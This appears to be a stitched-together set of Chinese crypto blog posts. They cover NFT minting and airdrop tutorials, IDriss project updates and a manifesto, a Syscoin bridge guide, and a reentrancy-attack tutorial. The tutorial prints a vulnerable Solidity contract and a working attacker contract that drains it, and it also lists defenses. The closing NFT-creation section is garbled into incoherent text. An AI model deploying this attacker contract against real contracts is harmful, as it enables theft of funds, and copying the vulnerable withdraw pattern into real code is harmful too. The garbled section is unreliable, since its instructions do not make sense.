https://app.rabbithole.gg/quests/mirror-reflections

1. 加入项目方的Discord，在#✍｜3-your-answer-here 这个频道里面用英语回答这个问题：你会在世界上的哪个地方展示仙女？为什么？（英语不好的同学可以到这里翻译：Deepl）当项目方满意你的回答之后，就会给Ally的身份，之后到 #🧭｜4-public-keys-here 频道的子区提交地址

静候项目方发Pass卡；

2、 Pass卡到账之后，打开项目方官网，右下角SKIP STORY直接跳过剧情铺垫进入主界面

https://world.neofairies.com/

3、在全球的地图上选定一个你认为比较好的地方，滑动过去，将地图放大，直到看到地图上的六边形格子，就是可以mint的地块，其中带有四叶草的绿色格子是已经被别人mint的。

选中心仪的地块，点击左侧Create And Mint NFT，根据接下来的提示链接钱包并提交交易，mint地块是免费的，但要收取0.05 SOL左右的矿工费。

4、mint完成之后，你选中的地块就会在地图上显示为红色的四叶草，此时回到Discord，进入 #🔗｜7-collabland-join 子频道验证地址，获得DAO身份。

以上就是本次教程的全部内容了，喜欢的小伙伴可以关注我的个人推特：https://twitter.com/kongtaoxing

项目方推特：

https://twitter.com/neofairies

对于 IDriss 来说，过去的一个月十分美好。目前，我们的 Discord 拥有超过 1000 名出色的社区成员， Twitter 上有超过 3000 名粉丝，而且我们还在不断发展壮大。

我们最近在 Twitter 上发布的这篇公告在网上疯传。下一次更新将为 IDriss 开启全新的篇章。请关注最新公告！

https://twitter.com/IDriss_xyz/status/1527471199663554568

另一个好消息是，我们已经获得来自 Cult DAO ——一个支持Web3项目的投资协议——的初始投资，详情请查看下面的推文。

Cult 的目的是授权和资助那些为我们去中心化的未来建设和贡献的人或项目。

https://twitter.com/IDriss_xyz/status/1531506876705394689

另外，我们上个月还在社区中举办了 POAP 设计竞赛。六名社区成员提交了他们的设计稿，现在对最佳POAP的投票正在进行。您可以在北京时间6月4日10:00之前在 Discord 中投票。

https://twitter.com/IDriss_xyz/status/1521681865823952896

此外，上周我们 Discord 社区增加了新的 👑OG 成员：andongni.eth#4969、Etherscanart.nft#6604、Kro#1926、metamasknft.coin#6962、wangrui#6572。他们将与社区的第一批OG共建社区：poapin.eth#9107、kongtaoxing#1644、whitemountain.eth#5131、JokerWong#2793、hsl195#4942。

我们还在 Discord 中开设了土耳其频道 (Mod: vurkafasina#1547) 和越南频道 (Mod: Lenguyen#0117)。如果您想成为新国家语言频道的 Mod，请告诉我们。

在我们谈论产品更新之前还有一件事！NFT NYC 大会即将来临，IDriss 核心团队将出席。6 月 20 日至 23 日，纽约市。来和我们共度时光吧！

产品更新

5 月是建设产品的时间。我们在 IDriss Core 发布了一个重要更新：反向解析。现在，web3 应用程序可以轻松显示我们的 Twitter 用户名、电子邮件和电话号码，而不是钱包地址。详情查看以下推文：

https://twitter.com/IDriss_xyz/status/1523820209563480064

web3项目可以从集成 Idriss 反向解析中受益，许多全新的是用方法还有待挖掘。帮助我们找到他们！

此外，是时候让其他 web3 项目知道我们的存在了。您想成为一名传播者并在其他社区中提出 IDriss 整合吗？技术支持已准备就绪，经验丰富的开发人员只需几分钟即可完成集成。查看此 GitHub 链接：https://github.com/idriss-crypto/ts-library 。

最后，非常感谢大家来到这里并做出贡献🙏，这只是一个开始。激动人心的旅程才刚刚开始！

（未完待续）

在阅读本文之前，请您关注我们的推特，加入我们的discord，您的支持将是我们最大的动力！

从本文开始，我们将持续更新产品更新开发动态和社区活动！如果您希望在下一次更新中看到某一主题，或者您想提高您的写作水平并将每次的更新翻译成您的母语，请加入Discord与我们联系！

社区活动更新

我们正在进行POAP设计大赛，以纪念即将到来的第一个 IDriss 社区电话会议，如果您有更好的创意，请加入我们的discord与我们分享吧！累计贡献可以获得OG身份。

https://twitter.com/IDriss_xyz/status/1521681865823952896

产品更新

是时候聊聊我们的产品了。如果您已经阅读过我们产品的目标定位，您就会知道我们的长期计划是发布一套让普通人更容易访问 web3的工具。该工具的第一款产品Idriss Core已经与大家见面了。

https://www.idriss.xyz/

你可能已经知道了，通过IDriss Core，我们可以将E-mail、电话号码和 Twitter 用户名链接到Web3.0的加密钱包地址，以解锁一些强大的好处：

• 用户友好的钱包地址格式，当我们发送或接收加密货币时，我们可以轻松地以口头或书面形式分享地址；

• 管理方便，能更快地访问我们的多个钱包地址（我们可以将他们链接到同一个 IDriss ）

如果您还没有注册Idriss，那么可以观看下面的指南

https://mirror.xyz/streamingfast.eth/pFJdK_IUDD3WyBM5Sjbzae1Qa-f67AwVEMPN0SgP-90

如果您已经注册了Idriss，想要了解Idriss的更多用途，可以阅读以下推特线程以及等待更多产品更新。

https://twitter.com/IDriss_xyz/status/1516466863391354883

我们的团队一直致力于社区建设和产品更新，目前我们的OG成员已经知道了下一个更新的内容，我们将对浏览器插件在推特网页版上增加更多有趣的功能。敬请关注！

想成为OG？加入我们的Discord并为社区做出贡献，你依然还是早鸟！欢迎各种贡献：社交媒体宣传、市场营销、合作伙伴建立、设计、编码、测试等。Idriss是一个社区驱动的朝阳项目，让我们共同进步！

（未完待续）

web3 最大的悖论是它给每个人都提供访问的机会。但事实并非如此，尤其是非币圈的人。就目前而言，Web3的核心部分大多是与加密货币相关的，但未来十年内，将会有很多的非币圈人涌入Web3的世界，这两者是不相适应的。

例如，核心加密用户之外的任何人都无法使用加密钱包地址格式（一长串数字和字母）。使用起来麻烦、耗时且不安全。

因此，新用户涌入 web3 很快就会受到限制，非币圈人将会很难接触到现有的加密产品和协议。Web3 将作为一个只有少数人使用的概念而消亡，而不是在新世纪追赶甚至超越互联网。我们项目的目的就是为了让世界上的人能够公平地参与Web3。

我们的影响

地球上的每个人都应平等地享有访问加密货币的机会、体验它所带来的好处：廉价和即时的交易、更加安全、更注重隐私以及更好的投资机会。

IDriss 的使命是通过构建一套工具来帮助实现这一目标，使普通人更容易访问 web3。

该套件中已经发布的第一个产品是电子邮件、电话号码和 Twitter 用户名到加密钱包地址的去中心化映射。处理上一段提到的钱​​包地址格式问题。

https://www.idriss.xyz/

我们拥有强大的功能，包括但不限于：

• 提供向任何电子邮件、电话号码或 Twitter 用户名发送加密的解决方案

• 提供在线和实体企业接受加密货币的捷径

• 提供为创作者接收加密提示的捷径

我们所有想法都有一个共同点：以人为本，并为Web3的最终目标做出贡献 - 80 亿人拥有钱包地址并使用加密货币。

为什么现在？

通过IDriss，我们有机会通过Web3来让所有人公平地享有Web3、区块链和加密货币带来的好处。

目前 web3 产品和协议的开发者们开始意识到，要进一步扩大规模，他们需要将蛋糕做大，让更多的非币圈用户加入进来。IDriss 将帮助他们解决这个问题。

渐进式去中心化

截至今天，对 IDriss 的控制权掌握在创始贡献者手中。我们决定在短期内优先考虑快速执行和寻求产品市场契合度。长期计划是逐渐变得更加去中心化。走这条路的灵感来自 Jesse Walden 的这篇文章。

https://jessewalden.com/progressive-decentralization-a-playbook-for-building-crypto-applications

社区

发行代币是去中心化道路上的一个必须的步骤，我们将在未来以公平透明的方式发布 IDriss 代币。代币的分配对于与社区治理和注册费用等至关重要。

创始贡献者

我们是以人为本的设计师，我们热爱人类。我们相信绝对的人类平等。我们是前互联网公司的工程师。

加入我们

用户、贡献者和投资者社区是 IDriss 最重要的部分，如果您觉得我们的使命与您产生共鸣，并且想要支持我们，请在 Twitter 上联系，或加入我们的 Discord。

加入我们，帮助我们建立一个更美好、更自由的Web3世界。

1. 到chainlist添加Syschain主网并切换到Syscoin链

2.到水龙头领取EVM兼容链的水，建议先做这一步，后续会用到这点水，但钱包可能显示较慢

3.下载主网钱包，创建新钱包并保存好助记词，复制地址备用

https://chrome.google.com/webstore/detail/pali-wallet/mgffkfbidihjpoaomajlbgchddlicgpn

4.到币安等交易所购买一定数量的SYS代币，并提现到第三步用到的钱包，支持的交易所以及提币费用见下图

5.打开Syscoin主网跨链桥，选择第一个SYS→SYSX，输入想要跨链的数量（钱包内留0.1个左右的手续费）并点击Burn，复制Burn TXID后点击Finish。

6.回到跨链桥最初的页面选择第二个SYSX→NEVM，第一个框输入123456，第二个框输入你的跨链金额，第三个框输入你想跨到的EVM地址，点击Burn，等待大概10分钟左右链上确认之后点击Next进入下一步

7.单击蓝色按钮，出现绿色的成功之后，点击Next进入下一步

8.点击Submit SPV Proofs，链接小狐狸钱包并确认交易（需要gas，如果没有的话请回到第二步）等待链上确认（确认速度比较慢，手动加gas似乎没什么作用，等待即可），此时已经成功完成跨链

9.打开Soyswap官网（池子小滑点高）或者pegasy官网（池子大滑点低）

https://www.soyswap.com/zh-CN/exchange/swap

https://app.pegasys.finance/#/swap

把SYS兑换为其他币种之后去Soyswap和Pegasy里加池子，交易几笔。然后就可以结束啦！

官方媒体：

Soyswap推特：https://twitter.com/soyswap

Pegasy推特：https://twitter.com/PegasysDEX

欢迎关注我的个人推特：https://twitter.com/kongtaoxing

攻击原理

本文用以下Solidity代码来举例：

pragma solidity ^0.4.26;
 
contract Victim {
    mapping(address => uint) public userBalannce;
    uint public amount = 0;
    function Victim() payable{}
    function withDraw(){
        uint amount = userBalannce[msg.sender];
        if(amount > 0){
            msg.sender.call.value(amount)();
            userBalannce[msg.sender] = 0;
        }
    }
    function() payable{}
    function receiveEther() payable{
        if(msg.value > 0){
            userBalannce[msg.sender] += msg.value;
        }
    }
     function showAccount() public returns (uint){
        amount = this.balance;
        return this.balance;
    }
}
 
contract Attacker{
    uint public amount = 0;
    uint public test = 0;
    function Attacker() payable{}
    function() payable{
        test++;
        Victim(msg.sender).withDraw();
    }
    function showAccount() public returns (uint){
        amount = this.balance;
        return this.balance;
    }
    function sendMoney(address addr){
        Victim(addr).receiveEther.value(1 ether)();
    }
    function reentry(address addr){
        Victim(addr).withDraw();
    }
}

该攻击出现的原因是在victim合约中的withdraw函数使用了call()方法，call()方法调用完之后，由于找不到对应的方法签名，会默认调用fallback()函数。在本例中，attacker在调用完call()方法之后，接下来并不是执行userBalannce[msg.sender] = 0; 而是Attacker收到了Ether后，调用了回调函数，在回调函数中，又重新调用了Victim的withdraw。因此形成了一个循环，直至Victim中的Ether被清0.

攻击实现

首先由钱包1创建victim合约，并向victim合约中充值1ETH，接着由钱包2创建attacker合约，并向attacker合约中充值0.1ETH。接着通过钱包2调用attacker合约向victim合约充值0.1ETH，最后调用Reentry函数，将victim中的ETH全部转到attacker合约中。

防护措施

（1） 使用transfer()函数：由于transfer转账功能只能发送2300gas不足以使目的地址/合约调用另外一份合约（即重入发送合约）；

（2） 引入互斥锁。也就是说，要添加一个在代码执行过程中锁定合约的状态变量，阻止重入调用。

https://mirror.xyz/streamingfast.eth/pFJdK_IUDD3WyBM5Sjbzae1Qa-f67AwVEMPN0SgP-90

作为一个ENS域名的替代方案，为致敬ENS且又能体现出项目的特色，故决定向ENS推特关注者空投Idriss，具体见下

首先来看官方推特消息：

https://twitter.com/IDriss_xyz/status/1490374875537625096?s=20&t=D1Qqt6Hh4PVSh7RQ_AMOHw

从推文中我们可以得知，如果你在2月4日上午9:30（北京时间）之前关注过ENS的官方账号，那么就有资格获得空投，下面是领取教程：

打开领取空投的网站，输入你关注ENS官方账号的推特用户名，按顺序输入钱包地址并地址标签，在发布推文的时候，复制以下文字一定要关掉翻译，否则下一步会无法识别

发推之后点击下一步，就成功地注册成功啦！多次操作之后还可以在一个推特用户名下添加多个以太坊地址，一对多的模式是对ENS的升级，快来尝试吧！

官方推特：https://twitter.com/IDriss_xyz

官方discord：https://discord.gg/JYfTnGqM

欢迎关注我的个人推特账号：https://twitter.com/kongtaoxing

注册流程

首先进入Idriss的官网，可以发现共有三种注册的方式，分别是邮箱、电话号码和推特用户名，下面就针对三种方式分别进行说明。

邮箱注册

首先选中Email选项，输入自己的邮件地址和想要绑定的钱包地址，单击CONNECT到下一步，输入邮箱收到的验证码，单击下一步，接下来这一步比较重要，有很多小伙伴都在这里出了问题，这一步是选择给自己地址的标签，用于区别多个地址，切记不可多个地址选择同一标签，这样在下一步注册Idriss的时候会失败。选择标签下面的复选框是为自己的地址多一层匿名性，知道邮箱加密码才能看见自己的地址。

接着点击下一步，支付10刀的Matic就可以拥有一个属于自己的Idriss啦！

手机号注册

手机号注册和邮箱注册过程类似，我自己测试+86的手机号码收不到验证码，如果有需要注册的话可以自己测试一下。

推特用户名注册

主页面选中Twitter选项，输入自己的推特用户名和钱包地址，点击下一步，单击复制下图红框中的文字（注意：如果开着翻译的话复制文字需要关掉翻译，否则会无法识别），发一条推特，然后点击下一步，接下来的步骤就和邮箱注册一样了。

Idriss识别

目前Idriss只支持自己的插件识别对方的地址，插件下载链接见下

https://chrome.google.com/webstore/detail/idriss/fghhpjoffbgecjikiipbkpdakfmkbmig

下载插件之后输入对方的邮箱/手机号/推特用户名然后稍等片刻就可以看见对方的地址啦

以上就是教程的全部内容了，如果还有问题欢迎加入官方discord群讨论：

https://discord.gg/JYfTnGqM

欢迎关注我的个人推特：https://twitter.com/kongtaoxing

2月8日8:00~2月12日8:00

NFT领取时间

2月9日8:00~2月14日8:00

任务详情

1.在PoolTogether V4中存入至少4USDC（推荐使用Polygon，Avalanche也可），直达链接如下

https://v4.pooltogether.com/deposit?network=polygon

2.引用转推官方推文，评论内容带上标签#NolossNoHeartbreakJustLove，转推链接示例如下

https://twitter.com/kongtaoxing/status/1490875578274123776

3.填表

https://6zhxl6iqgkm.typeform.com/to/jOqrKaoR

NFT领取地址

https://galaxy.eco/PoolTogether/campaign/GCsfXUUWDu

打开这个https://chainlist.org/，同样在小狐狸网址后搜索链接并添加图片的主网

点击确认添加并切换到Polygon（或者叫MATIC）主网。

照片点击菜单栏上的创建钱包中确认签名之后，我们在下面的页面中

一下，就可以自己拍下我们描述的起名美照，或者自己把过最满意的画上去，喜欢的，加上自己满意的，前几项就完成了，下面我讲这什么是什么

• 属性：这是用于描述 NFT 的物品，或者说 NFT 是一个宝，打开另一个稀有的 NFT，如果这可能是金粒或金币的宝箱

• 当然：等级，这个选项等级描述这个区块链啦上的更多，一个角色是一级的，另一个是100级的，可以用什么选项

• 统计 NFT 的具体情况，可以添加上传的蓝色车图片，我在这辆车/我的最大加速：80 公里，最大加速：7 公里/小时，等等

• 锁定的内容是让 NFT 的人看到的内容，没有 NFT 的人只有这个选项而查看里面的内容

• Explicit & Sensitive Content：这是敏感信息，当然一般用不到啦

• 供应：这是 NFT 的最大供应量。

• 区块链：是选择 NFT 所在的区块链，默认是以太链，这里需要将他改成 Polygon

好啦，都设置好之后点击创造，在钱包中完成签名，你的一个啦，怎么样，不是一切成就感~~~